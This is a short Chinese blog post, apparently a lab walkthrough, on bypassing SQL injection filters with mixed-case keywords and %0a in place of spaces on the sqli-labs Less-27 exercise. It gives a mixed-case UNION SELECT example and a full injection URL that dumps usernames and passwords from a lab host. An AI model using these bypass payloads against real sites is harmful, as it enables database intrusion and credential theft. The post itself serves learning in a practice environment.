SQL注入---大小写绕过

最新推荐文章于 2024-03-07 12:47:37 发布

akz-47

最新推荐文章于 2024-03-07 12:47:37 发布

阅读量899

点赞数

文章标签：安全 sql

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.youkuaiyun.com/qq_41179687/article/details/123748876

版权

本文介绍了在WEB安全领域中一种常见的攻击手段——SQL注入，并详细探讨了如何通过大小写转换、使用特殊字符替换等技巧绕过网站的安全防护措施，实现对数据库的非法访问。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

WEB安全篇 SQL注入绕过技术 02 大小写转换 NULL值 N值双引号十六进制绕过注入

1、大小写转换

select * from users where id=1 Union sEleCT 1,2,3,4;

在less中测试

内容被过滤

空格被过滤掉

用%0a替换空格，空格未被过滤

爆出账号密码

http://192.168.50.185:7766/Less-27/?id=9999%27%0AUniOn%0ASelecT%0A1,(SelecT%0Agroup_concat(username,%27;%27,password)%0Afrom%0Ausers),3%0Aand%0A1%27

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。